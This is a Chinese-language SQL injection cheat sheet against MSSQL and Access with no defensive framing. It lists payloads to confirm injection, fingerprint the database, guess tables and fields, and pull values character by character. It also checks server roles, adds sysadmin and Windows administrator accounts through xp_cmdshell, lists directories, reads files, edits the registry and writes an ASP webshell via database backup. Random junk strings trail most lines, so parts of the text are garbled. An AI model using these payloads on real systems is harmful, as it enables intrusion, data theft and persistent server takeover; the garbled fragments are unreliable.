1.判断是否有注入;and 1=1 ;and 1=2 Uu52uR
2.初步判断是否是mssql ;and user>0 _''un3eCY
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3.注入参数是字符'and [查询条件] and ''=' &po!X )
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' O"/Sv'|H#
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5.判断数据库系统 [[pt~=0
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;and (select count(*) from sysobjects)>0 mssql 0qIg:+l+
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;and (select count(*) from msysobjects)>0 access
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 :`Ep#[Wvo
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ky-nP8L}
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 P-nhG
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9.(1)猜字段的ascii值(access) ,tcUJ}l
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 =Xg/[J%
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(2)猜字段的ascii值(mssql) TVx
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 {ya.
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10.测试权限结构(mssql) dgIH`<U$
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 8e3eQ
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- *coUHbP9>
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- dS3\P5D.*c
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- tpC^68*F
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- aK95&Jyw&
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- [U8/nT
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;and 1=(select IS_MEMBER('db_owner'));-- } `r.fD
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11.添加mssql和系统的帐户 H@Ot77(*
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;exec master.dbo.sp_addlogin username;-- kHylg{i{"
;exec master.dbo.sp_password null,username,password;-- H$C*&p
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- i9XpP(mf
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;exec master.dbo.xp_cmdshell 'net user username password [M,4qe8,}
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- pR93T+X
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- h=gtuaR4
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Ycspdl+(S$
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12.(1)遍历目录 05T?c{ ;
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;create table dirs(paths varchar(100), id int) m2jts(stp
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;insert dirs exec master.dbo.xp_dirtree 'c:\' CvE^t#Bok
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;and (select top 1 paths from dirs)>0 Cj-&L<
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) gmbRH5k
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(2)遍历目录 {+hABusq
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- *)-@'{]u B
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 .Iqqjk
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 x>Q% hl
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 V<S6a
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13.mssql中的存储过程 F&R*njJcc
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xp_regenumvalues 注册表根键, 子键 5tpC$4m
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ;!S5P(
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xp_regread 根键,子键,键值名 sED"}F)
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 gR# k'
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xp_regwrite 根键,子键, 值名, 值类型, 值 \XV8t|*
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 FNH)wk
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xp_regdeletevalue 根键,子键,值名 &Jj|+P-lY
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 hxMRmH[f:
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 %_5#2a
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14.mssql的backup创建webshell GxD`M2
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use model EQ~<NzRp=
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create table cmd(str image); MZQDFuvDxZ
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insert into cmd(str) values (''); u*2?Gky
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backup database model to disk='c:\l.asp'; %P s.r{%{
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15.mssql内置函数 >eG<N@13p
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;and (select @@version)>0 获得Windows的版本号 zTB&Wlt
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa !hq*WtIk
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;and (select user_name())>0 爆当前系统的连接用户 ]m1p<*0I$
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;and (select db_name())>0 得到当前连接的数据库 S=)
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16.简洁的webshell ?lD)J?j
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use model =AzPAN#e
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create table cmd(str image); ;@qS#7SRB
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insert into cmd(str) values (''); ``jNj1t{}
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backup database model to disk='g:\wwwtest\l.asp';